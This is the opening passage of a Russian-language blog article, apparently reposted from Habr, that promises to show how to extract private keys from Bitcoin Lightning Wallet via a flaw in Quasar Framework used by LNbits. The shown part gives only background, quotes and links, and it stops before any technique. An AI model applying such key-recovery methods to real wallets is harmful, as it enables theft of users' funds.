{"id":359955,"date":"2024-05-21T00:43:18","date_gmt":"2024-05-21T00:43:18","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=359955"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=359955","title":{"rendered":"<span>\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/80e\/d94\/ca3\/80ed94ca3fad710091573b05d27b787c.png\" width=\"640\" height=\"293\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/80e\/d94\/ca3\/80ed94ca3fad710091573b05d27b787c.png\"\/><\/figure>\n<p>\u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u0437\u0430\u043e\u0441\u0442\u0440\u0438\u043c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u043c\u0430\u0440\u0442\u0444\u043e\u043d\u043e\u0432\u00a0<code>iOS<\/code>\u00a0\u0438\u00a0<code>Android<\/code>\u00a0\u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0439 \u0411\u0438\u0442\u043a\u043e\u0438\u043d \u041a\u043e\u0448\u0435\u043b\u0435\u043a \u0441 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u043e\u0439 \u0431\u044b\u0441\u0442\u0440\u044b\u0445 \u043f\u043b\u0430\u0442\u0435\u0436\u0435\u0439 \u0447\u0435\u0440\u0435\u0437\u00a0<code>(Lightning network)<\/code>\u00a0<a href=\"https:\/\/apkcombo.com\/blw-bitcoin-and-lightning-wal\/com.lightning.walletapp\/\" rel=\"noopener noreferrer nofollow\"><u>BLW: Bitcoin Lightning Wallet<\/u><\/a>. \u041a \u0431\u043e\u043b\u044c\u0448\u043e\u043c\u0443 \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e \u043c\u043d\u043e\u0433\u0438\u0435 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0435 \u043d\u043e\u0434\u044b \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u043e\u0442\u00a0<a href=\"https:\/\/github.com\/lnbits\/lnbits\" rel=\"noopener noreferrer nofollow\"><strong><u>LNbits\u00a0Node Manager<\/u><\/strong><\/a>\u00a0\u0438\u00a0<a href=\"https:\/\/github.com\/ElementsProject\/lightning\" rel=\"noopener noreferrer nofollow\"><strong><u>Core Lightning<\/u><\/strong><\/a>\u00a0\u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u0435\u0442 \u0412\u042b\u0421\u041e\u041a\u0415\u041c\u0423 \u0420\u0418\u0421\u041a\u0423 \u043f\u043e\u0442\u0435\u0440\u0438 \u0432\u0441\u0435\u0445 \u0434\u0435\u043d\u0435\u0436\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u043d\u044b\u0445 \u043c\u043e\u043d\u0435\u0442\u0430\u0445.<\/p>\n<p>\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u00a0<a href=\"https:\/\/github.com\/davidshares\/Lightning-Network\/blob\/main\/README.md\" rel=\"noopener noreferrer nofollow\"><u>David Shares<\/u><\/a>\u00a0\u0438\u0437 \u044f\u043f\u043e\u043d\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438\u00a0<a href=\"https:\/\/github.com\/bitcoin-portal\" rel=\"noopener noreferrer nofollow\"><strong><u>Bitcoin Portal<\/u><\/strong><\/a>\u00a0\u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e\u00a0<a href=\"https:\/\/github.com\/davidshares\/Lightning-Network\/blob\/main\/README.md\" rel=\"noopener noreferrer nofollow\"><u>\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432<\/u><\/a>.<\/p>\n<p>\u0420\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u0442\u0435\u043e\u0440\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043e\u0441\u043d\u043e\u0432\u0443:\u00a0<a href=\"https:\/\/github.com\/lnbits\/lnbits\" rel=\"noopener noreferrer nofollow\"><strong><u>LNbits<\/u><\/strong><\/a>\u00a0\u2013 \u044d\u0442\u043e \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439 \u0434\u043b\u044f \u043c\u043d\u043e\u0433\u0438\u0445 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u043d\u044b\u043c\u0438 \u043a\u043e\u0448\u0435\u043b\u044c\u043a\u0430\u043c\u0438. \u0418\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u0448\u0438\u0440\u043e\u043a\u0443\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c\u00a0<code>LNbits Node Manager<\/code>\u00a0\u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0441 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435\u043c\u00a0<code>Bitcoin Lightning Wallet\u00a0(BLW)<\/code>\u00a0\u0442.\u043a. \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u043d\u0435\u043a\u0430\u0441\u0442\u043e\u0434\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0438 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0445 \u043d\u043e\u0434\u043e\u0432 \u0434\u043b\u044f\u00a0<code>Bitcoin SPV<\/code>, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043b\u044f\u00a0<code>Android<\/code>\u00a0\u0438\u00a0<code>iPhone<\/code>\u00a0\u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c\u044e\u00a0<code>Node.js<\/code>. \u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u043c \u043d\u043e\u0434\u0430\u043c \u0432\u044b \u0438\u043c\u0435\u0435\u0442\u0435 \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0432\u043e\u0438\u043c \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u043e\u043c \u0438 \u0432\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u0432\u043e\u0438\u043c\u0438 \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u044b\u043c\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430\u043c\u0438\u00a0<em>(\u0432 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0438 \u0441 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u043d\u044b\u043c\u0438 \u043a\u043e\u0448\u0435\u043b\u044c\u043a\u0430\u043c\u0438)<\/em>.<\/p>\n<p><a href=\"https:\/\/github.com\/lnbits\/lnbits\" rel=\"noopener noreferrer nofollow\"><strong><u>Node Manager<\/u><\/strong><\/a>\u00a0\u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c\u00a0<a href=\"https:\/\/github.com\/lnbits\/lnbits\" rel=\"noopener noreferrer nofollow\"><strong><u>LNbits<\/u><\/strong><\/a>\u00a0\u0440\u0435\u0448\u0430\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u0434\u0430\u0447, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a:<\/p>\n<ul>\n<li>\n<p>\u0421\u0431\u043e\u0440 \u0431\u0443\u043c\u0430\u0436\u043d\u044b\u0445 \u0446\u0435\u043d \u043d\u0430 \u043c\u043e\u043d\u0435\u0442\u00a0<code>BTC, ETH, LTC, USDT, XLM, BNB<\/code>, \u0438.\u0442.\u0434<\/p>\n<\/li>\n<li>\n<p>\u0412\u0435\u0434\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u043d\u043e\u0434\u043e\u0432\u00a0<code>LNbits<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0435\u00a0<code>Bitcoin Lightning Wallet\u00a0(BLW)<\/code>\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u043b\u044f \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u044b\u0445 \u043a\u0430\u043d\u0430\u043b\u043e\u0432.<\/p>\n<\/li>\n<li>\n<p>\u041f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u0439 \u043e\u043f\u043b\u0430\u0442\u044b \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u044b\u0445 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u043e\u0432.<\/p>\n<\/li>\n<li>\n<p>\u0425\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0439 \u043a\u043e\u043f\u0438\u0438 \u0432\u0430\u0448\u0435\u0433\u043e \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430.<\/p>\n<\/li>\n<\/ul>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d01\/a4d\/fd8\/d01a4dfd83fdd8e2d0d4bdaa03806420.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"346\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d01\/a4d\/fd8\/d01a4dfd83fdd8e2d0d4bdaa03806420.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<p><strong>LNbits node manager<\/strong>\u00a0\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0441 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c\u0438:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/b9b\/0a2\/61c\/b9b0a261caa465dff09ffe5d3feb8b5e.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" width=\"1024\" height=\"250\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/b9b\/0a2\/61c\/b9b0a261caa465dff09ffe5d3feb8b5e.png\"\/><\/p>\n<div><figcaption>\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework<\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0430\u043c\u00a0<\/em><a href=\"https:\/\/objsal.medium.com\/free-bitcoin-transactions-with-lnbits-bd5b3933f082\" rel=\"noopener noreferrer nofollow\"><em><u>Salvador Guerrero<\/u><\/em><\/a><em>\u00a0\u043c\u043d\u043e\u0433\u0438\u0435 \u043a\u0442\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u00a0<\/em><code>LNBits<\/code>\u00a0\u043d\u0430 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439\u00a0<a href=\"https:\/\/bitcoin.org\/en\/full-node\" rel=\"noopener noreferrer nofollow\"><u>\u0411\u0438\u0442\u043a\u043e\u0438\u043d-\u0443\u0437\u0435\u043b<\/u><\/a>\u00a0<code>(Bitcoin Node)<\/code>\u00a0\u043c\u043e\u0436\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0430\u00a0<a href=\"https:\/\/github.com\/raspberrypi\" rel=\"noopener noreferrer nofollow\"><strong><u>Raspberry Pi<\/u><\/strong><\/a>, \u0447\u0442\u043e\u0431\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c\u00a0<code>Bitcoin<\/code>\u00a0<em>\u0431\u0435\u0437 \u043a\u043e\u043c\u0438\u0441\u0441\u0438\u0439 \u0437\u0430 \u0442\u0440\u0430\u043d\u0437\u0430\u043a\u0446\u0438\u0438<\/em>.\u00a0\u042d\u0442\u043e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0432\u0441\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u043a\u043e\u0448\u0435\u043b\u044c\u043a\u0438 \u043e\u0442\u00a0<code>LNbits<\/code>\u00a0\u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432 \u043e\u0434\u043d\u043e\u043c \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0435\u00a0<a href=\"https:\/\/github.com\/ElementsProject\/lightning.git\" rel=\"noopener noreferrer nofollow\"><strong><u>Core Lightning<\/u><\/strong><\/a>.<\/p>\n<\/blockquote>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/124\/246\/4e3\/1242464e384266be6b92a2d7106636e9.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"576\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/124\/246\/4e3\/1242464e384266be6b92a2d7106636e9.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/818\/245\/b06\/818245b06240c71436fad3f6f6b51b14.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"1024\" height=\"481\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/818\/245\/b06\/818245b06240c71436fad3f6f6b51b14.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d81\/3e1\/f10\/d813e1f100b5b04ac503b9fb00bdb858.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\" \" width=\"736\" height=\"512\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d81\/3e1\/f10\/d813e1f100b5b04ac503b9fb00bdb858.png\"\/><\/p>\n<div><figcaption> <\/figcaption><\/div>\n<\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fdc\/eee\/18f\/fdceee18f8fa2bf5ffed24e93e8cf2ee.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" width=\"784\" height=\"796\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/fdc\/eee\/18f\/fdceee18f8fa2bf5ffed24e93e8cf2ee.png\"\/><\/p>\n<div><figcaption>\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework<\/figcaption><\/div>\n<\/figure>\n<hr\/>\n<blockquote>\n<p><em>\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u00a0<\/em><a href=\"https:\/\/github.com\/davidshares\/Lightning-Network\/blob\/main\/README.md\" rel=\"noopener noreferrer nofollow\"><em><u>David Shares<\/u><\/em><\/a><em>\u00a0\u0438\u0437 \u044f\u043f\u043e\u043d\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438\u00a0<\/em><a href=\"https:\/\/github.com\/bitcoin-portal\" rel=\"noopener noreferrer nofollow\"><strong><em><u>Bitcoin Portal<\/u><\/em><\/strong><\/a><em>\u00a0\u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u00a0\u0445\u0440\u043e\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0441\u043f\u0438\u0441\u043e\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e\u00a0<\/em><code>Lightning Network<\/code>\u00a0\u0442\u043e\u043d\u0435\u0442 \u0432 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0445, \u043e\u0448\u0438\u0431\u043a\u0430\u0445, \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445, \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044f\u0445 \u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u0445.\u00a0\u042d\u0442\u043e \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u043e\u0431\u0435\u0449\u0430\u043d\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0434\u0435\u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0435\u0449\u0435 \u0434\u0430\u043b\u0435\u043a\u0430 \u043e\u0442 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u0442\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.<\/p>\n<\/blockquote>\n<hr\/>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/53c\/737\/6c3\/53c7376c3ffb0dfba243e02372b17d65.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\"https:\/\/github.com\/davidshares\/Lightning-Network\/blob\/main\/README.md\" width=\"1024\" height=\"312\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/53c\/737\/6c3\/53c7376c3ffb0dfba243e02372b17d65.png\"\/><\/p>\n<div><figcaption><a href=\"https:\/\/github.com\/davidshares\/Lightning-Network\/blob\/main\/README.md\" rel=\"noopener noreferrer nofollow\"><strong><u>https:\/\/github.com\/davidshares\/Lightning-Network\/blob\/main\/README.md<\/u><\/strong><\/a><\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u0435 \u0432\u0441\u0435\u0445 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0438\u0437 \u0445\u0440\u043e\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430 \u043c\u044b \u043e\u0431\u0440\u0430\u0442\u0438\u043b\u0438 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430\u00a0<a href=\"https:\/\/github.com\/demining\/CryptoDeepTools\/tree\/main\/26BitcoinLightningWalletVulnerability\" rel=\"noopener noreferrer nofollow\"><u>\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0435<\/u><\/a>\u00a0\u0438 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043a\u043e\u0434\u0435\u00a0<a href=\"https:\/\/github.com\/lnbits\/lnbits\/blob\/3e142fab0f1cc54ec828ced73f61e4570d2053bd\/lnbits\/static\/vendor\/quasar.umd.js#L14739\" rel=\"noopener noreferrer nofollow\"><u>quasar.umd.js<\/u><\/a><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6df\/8bd\/674\/6df8bd674bbca7b871e54acb97efa202.png\" alt=\"\u041a\u0430\u043a \u043d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0432 \u0431\u0438\u043d\u0430\u0440\u043d\u043e\u043c \u043a\u043e\u0434\u0435 \u043e\u0442 Bitcoin Lightning Wallet \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Quasar Framework\" title=\"https:\/\/github.com\/quasarframework\/quasar.git\" width=\"736\" height=\"430\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6df\/8bd\/674\/6df8bd674bbca7b871e54acb97efa202.png\"\/><\/p>\n<div><figcaption><a href=\"https:\/\/github.com\/quasarframework\/quasar.git\" rel=\"noopener noreferrer nofollow\"><u>https:\/\/github.com\/quasarframework\/quasar.git<\/u><\/a><\/figcaption><\/div>\n<\/figure>\n<p><a href=\"https:\/\/github.com\/quasarframework\/quasar.git\" rel=\"noopener noreferrer nofollow\"><strong><u>Quasar<\/u><\/strong><\/a>\u00a0\u2013 \u044d\u0442\u043e \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435\u00a0<strong>Vue.js<\/strong>\u00a0\u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0430\u0434\u0430\u043f\u0442\u0438\u0432\u043d\u044b\u0435 \u0441\u0430\u0439\u0442\u044b \u0438 \u043c\u043e\u0431\u0438\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043a\u0440\u0438\u043f\u0442\u043e\u0432\u0430\u043b\u044e\u0442\u043d\u044b\u0445 \u043a\u043e\u0448\u0435\u043b\u044c\u043a\u043e\u0432.<\/p>\n<p>\u041a\u0430\u043a \u043d\u0430\u043c 